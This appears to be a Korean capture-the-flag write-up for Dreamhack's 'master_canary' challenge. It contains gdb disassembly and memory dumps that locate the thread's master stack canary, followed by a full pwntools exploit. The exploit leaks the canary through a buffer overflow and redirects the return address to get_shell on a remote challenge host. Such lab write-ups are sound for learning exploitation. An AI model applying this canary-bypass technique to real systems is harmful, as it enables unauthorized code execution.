code
checksec
1. buf와 마스터 카나리 사이 거리 구하기
(gdb) disass thread_routine
Dump of assembler code for function thread_routine:
0x0000000000400a5b <+0>: push %rbp
0x0000000000400a5c <+1>: mov %rsp,%rbp
0x0000000000400a5f <+4>: sub $0x110,%rsp
0x0000000000400a66 <+11>: mov %fs:0x28,%rax
0x0000000000400a6f <+20>: mov %rax,-0x8(%rbp)
0x0000000000400a73 <+24>: xor %eax,%eax
0x0000000000400a75 <+26>: lea -0x110(%rbp),%rax
0x0000000000400a7c <+33>: mov %rax,0x20162d(%rip) # 0x6020b0 <global_buffer>
0x0000000000400a83 <+40>: nop
0x0000000000400a84 <+41>: mov -0x8(%rbp),%rdx
0x0000000000400a88 <+45>: xor %fs:0x28,%rdx
0x0000000000400a91 <+54>: je 0x400a98 <thread_routine+61>
0x0000000000400a93 <+56>: callq 0x400820 <__stack_chk_fail@plt>
0x0000000000400a98 <+61>: leaveq
0x0000000000400a99 <+62>: retq
그런데! 여기서 thread_routine
함수는 이미 끝났고, 스택이 사라졌기 때문에 변조를 할 수 없다.
따라서 thread_routine
함수에 중단점을 걸고 실행을 한 후 카나리 값을 찾는다. 그리고 마스터 카나리가 있을법한 주소들에서 카나리값을 찾아본다.
(gdb) x/x $rbp-0x110
0x7ffff77eee40: 0x00000000
(gdb) p/x $rbp-0x8
$1 = 0x7ffff77eef48
(gdb) x/4x $rbp-0x8
0x7ffff77eef48: 0x405e0800 0xbfc1907f 0x00000000 0x00000000
(gdb) x/100x $rbp+0x700
0x7ffff77ef650: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef660: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef670: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef680: 0x00000000 0x00000000 0xf7bb5420 0x00007fff
0x7ffff77ef690: 0xf77efdb8 0x00007fff 0x00000000 0x00000000
0x7ffff77ef6a0: 0xf79667e0 0x00007fff 0xf7966de0 0x00007fff
0x7ffff77ef6b0: 0xf79676e0 0x00007fff 0x00000000 0x00000000
0x7ffff77ef6c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef6d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef6e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef6f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef700: 0xf77ef700 0x00007fff 0x00603020 0x00000000
0x7ffff77ef710: 0xf77ef700 0x00007fff 0x00000001 0x00000000
0x7ffff77ef720: 0x00000000 0x00000000 0x405e0800 0xbfc1907f
0x7ffff77ef730: 0xfe71762b 0xfef79ec4 0x00000000 0x00000000
0x7ffff77ef740: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef750: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef760: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef770: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef780: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef790: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef7b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef7c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff77ef7d0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) p/x 0x7ffff77ef728-0x7ffff77eee40
$2 = 0x8e8
$fs_base+0x28
인 마스터 카나리가 위치한 주소는 0x7ffff77ef728
이다.buf
의 주소는 0x7ffff77eee40
이다.buf
와의 거리는 0x8e8
임을 알 수 있다.2. canary leak
global_buffer
을 0x8e9만큼 줘서 마스터 카나리를 읽을 수 있다.3. RET->get_shell
comment
는 main
에서 [rbp-0x30]
에 위치한다.RET
을 get_shell
로 바꾸는 payload를 작성하면 된다!최종 exploit
from pwn import *
p = remote('host3.dreamhack.games', 14018)
e = ELF('./master_canary')
get_shell = e.symbols['get_shell']
buf2mc = 0x8e8
# create thread
p.sendlineafter(b'> ', b'1')
# Input
buf = b'A' * (buf2mc + 1)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Size: ', str(len(buf)))
p.sendlineafter(b'Data: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
# comment
comment = b'A' * 0x28 + p64(canary)
comment += b'B' * 0x8 + p64(get_shell)
p.sendlineafter(b'> ', b'3')
p.sendafter(b'comment: ', comment)
p.interactive()